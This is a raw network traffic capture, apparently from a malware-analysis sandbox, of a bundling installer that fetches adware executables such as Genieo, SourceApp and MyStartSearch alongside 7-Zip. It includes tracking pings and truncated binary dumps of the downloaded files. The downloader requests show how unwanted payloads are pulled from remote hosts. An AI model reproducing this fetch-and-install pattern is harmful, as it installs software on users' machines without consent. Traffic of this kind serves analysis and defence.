Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.2079935846.1424736079.1424736079.1424736079.1; __utmb=1.1.10.1424736079; __utmc=1; __utmz=1.1424736079.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:01:46 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:01:46 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=364470-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:02:16 GMT

Date: Tue, 24 Feb 2015 00:02:16 GMT

Content-Range: bytes 364470-583151/583152

Content-Length: 218682

Connection: keep-alive
...Rm.`.>A.......3.M)....:..&;6..a..L.......I..Y.....&.-U[.5.....t:
w...5W..j.]bS.^...)..3`.......QK....1....8...A..V.].%..Aqu.Y.n6.|xJ...
*...O .Hi.!..b-.j......X.G.X..b.K5.._....}..~.'.....#..x6@..'J...x}.A.
...T^.y.....f. ...e1h.]..A...1..2..K....t.`.mN..|..J.3.k..s......6.`.`
3.]#^........!.6..-...g..W<..CT()K......._FR..MtGd{..eT.#o..*4PKQ.S
b.n./q.cQ>.).o1..V-.jg..\/..h.}x....m..I....o^~.TMk..p..)8..... ...
..\/.kM....Z7.."..d"..P....].. ........K..u..:.....v.d........*..Zyr..
:..vA@.{Ru.g......v.....:L..F..17..!e*i.d.b.?<B9B\O.....U.#..^s..c/
u......._k......%...%...B{".....<......''..'...?...N.....erW.`.....
....2.(U.e....9(.{,.\.....a^e.C`X....*...6.%x.HF...z.i..F}?.3......rr\
.....A..}.[..%..H.b...14..M..3...ljTG.9.1....t...YRy.-.v.34......W.Qx.
[email protected]...,...............(..x......t)g..%.Fm.& ......
U.:.........=..l4.......6........=f/.o...k. bY..YL....$a8.".....));._.
..J.......'H'~.....x.[4..i.>Lwe=Tx.V...K.......6...lK..O..!.W.w...q
..$31m.....z@<y-<.........&...N..s\4h.3.R..Y........F....Ze.KKv.
.........N..*1|K.\l.>..........I..........0k.U..q..!=.\...O.......N
.gK..C.IPw.}E...2..4r...,kJ... .B.]c.."....q.'.P.*[email protected]..&
.X}...(.!.......T....tK..gc.0.a.<.J.....6c.)\.........b...o.'..A..k
'.....M....?.!m..Y65........w..-.......=.CO.`...RR..w.=.9G..{8]..j..MX
J<..OU....|...'......m,..e..o:..............)".....V.......*....e..
: ........i..iz|.U..8 U...f...,.&...V...Cm.'.>/.9(..<k.B.'A,./..
.V?8z....3.E...H...[.....{.T...pg..^9Ic..X5....N.....$W...N..".~..<<< skipped >>>

GET /v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 24 Feb 2015 00:04:20 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.07 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tue, 24 Feb 2015 00:04:20 
GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunke
d..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4
..3d..{"stats":"error","time":"0.07 ms","message":"uid is not set"}..0
..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: WuXKVgu2LvPSuqodbgArkVkXEMVQ66 nXExP2td6W/OeC0NmFU6wgSdLmiQ8zcgiKT0nAmv3fT8=

x-amz-request-id: 6039DD8707C5D0EF

Date: Tue, 24 Feb 2015 00:04:26 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 0-988407/988408

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 583152

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:01:03 GMT

Date: Tue, 24 Feb 2015 00:01:03 GMT

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................O........................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
[email protected]...`...p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F..tBj\V. ?
[email protected]...|p@[email protected]:.u.9].t.j....
..Wh.0G...C..W..tp@..^...j..0...S.....P..F...5...j......j........j....
[email protected]][email protected]
.PWh. [email protected]#.E.;.v%8.t!V..F..;.t...,P.u...C.....E.......9].....
..h. [email protected]. [email protected]..
[email protected].~B....h.0G.V.qB..P.^=..
P..B..V..D...P.@..}..|1V.IE..3.;.t..M....QP..`[email protected].........#...<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:04:27 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277620-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:01:05 GMT

Content-Type: application/octet-stream

Content-Length: 832856

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277620-1110475/1110476
../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6...
C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>....
..Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e.
"T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|X
....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%.............
.......... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c.
.ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..f
6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W......
0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;.
 ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t....
t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........ms
..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoYI
1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%..
.j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O|
.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A.....
..,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r........
........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v:
./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G...
(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T.
k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N.
7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB...
.....V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d....<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1286713

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Feb 2015 16:00:40 GMT

Accept-Ranges: bytes

ETag: "a07318df814fd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:00:59 GMT

Content-Range: bytes 0-1286712/1287434

X-Cache: Miss from cloudfront

Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: W_NzERYndH7Xz__MqBjxM0olJ__mjMt1ecedfK3AZSF6qOjKkI8tUA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=145788-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:01:04 GMT

Date: Tue, 24 Feb 2015 00:01:04 GMT

Content-Range: bytes 145788-583151/583152

Content-Length: 437364

Connection: keep-alive
t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.e62.d.YE.o...?&.
.... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t...*...8J........
2}...Yq.M.........G..#..Y..........=.A...~..R....QL9........VB......E.
5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7.o...V..t.}.....
.'.............6o8....L .H.....&...R.,.....k..Bf.LJ.......\......0..$.
s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z...:...Z.a...C?..
.....W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W....{.W...j2.V.a...
..q..,...V......sr;.........n.".S.WI..n?........Z....^..7.. }....B.m. 
.eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k......7-..0.a.)2...(
DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... h.C..........@G]
C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.7.yZ.X'.t....j.n
....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a..........".y..II..
.{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.. ..i ;.........
N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..<`..R$..4$.-s.
u.s.d_Vs......Xj.Ha$*.9..v..2.b.........h6..0..8..!\:....~.j.z....:I.f
!.E.'.!......_.e..2.^.9W...v.;k...:.x.y!.k..[..)...H(Z.`..X..Y.gW.*/.'
.<RF@.?........0........l]V...G..e.${.I..>/.....5....?.!x.}..A[;
....a......\......F.>../.....55..e.]..........nU?.>..S<#..z'.
.......v.1.....v6...<Y......M,[email protected].:...U|Y.{..Ln;vY..:A.&.`...
y.......b.m..5.\Y..o.z{....[..H.*....&.R....Zx,....3:`....q.....t.c...
.oA.q.X..z.h....y?...R.."L.q&./.K....$..........G.Jn.Q.\;l5..y[...l...
...x]G.s..I....;?b..L.<]OK1..I...B.j.s....|..7....\2HU...*M..^.<<< skipped >>>

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2sfi55f1s20qk.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 04:56:50 GMT

Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT

ETag: "54da1999-6721"

Expires: Sun, 22 Feb 2015 05:06:50 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 259

X-Cache: Hit from cloudfront

Via: 1.1 09052d1a6e392e4f4a3fd97bf34a2b24.cloudfront.net (CloudFront)

X-Amz-Cf-Id: oPCW9_T21mtmFWPVLwpkiLhGWqW_P2iEdEwh4qmLBn0co2rTecIrdg==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2sfi55f1s20qk.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 05:03:09 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 22 Feb 2015 05:13:09 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 09052d1a6e392e4f4a3fd97bf34a2b24.cloudfront.net (CloudFront)

X-Amz-Cf-Id: QiDndAKnu2Jz3qeO8QaCgKtzEClH2LfchAhln_R6LaJKr9RXUeoUpg==
2799.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^
.I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./
.g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e
.d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..
r9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.
\.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:.
.....0.........................'._......?.l....o..Q.....9..q.C.]..4...
.70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u
.S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM.
.. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r.....
..A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn.
........e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........)
.r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........
y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....&g
t;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.
5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x.
.Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;
.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^...
.&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX
..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....
m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga.
...EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=107085-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 178473

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 107085-285557/285558

Age: 714

X-Cache: Hit from cloudfront

Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eHduiyOZQyxcIZEqrxD2Up5r1cpRG-1mZKXW9IP2M6N-XwxZqPTocQ==
...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=80408-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 241224

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 80408-321631/321632

Age: 941

X-Cache: Hit from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vtgbv4XgpSlpZxBf92FPU4UsZHRDXUN6fjmuNQ4EP2795fqmYWVhcQ==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=1&index_in_screen=1&index_in_session=1&display_height=50&0.6546291316674241 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.1232722804.1424736155.1424736155.1424736155.1; __utmb=1.1.10.1424736155; __utmc=1; __utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:02:58 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:02:58 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=555240-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:01:05 GMT

Content-Type: application/octet-stream

Content-Length: 555236

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 555240-1110475/1110476
.F..j....;^I..#........h.6tp..O..K.eT5.dFi.......(.S..m.a.Y....<...
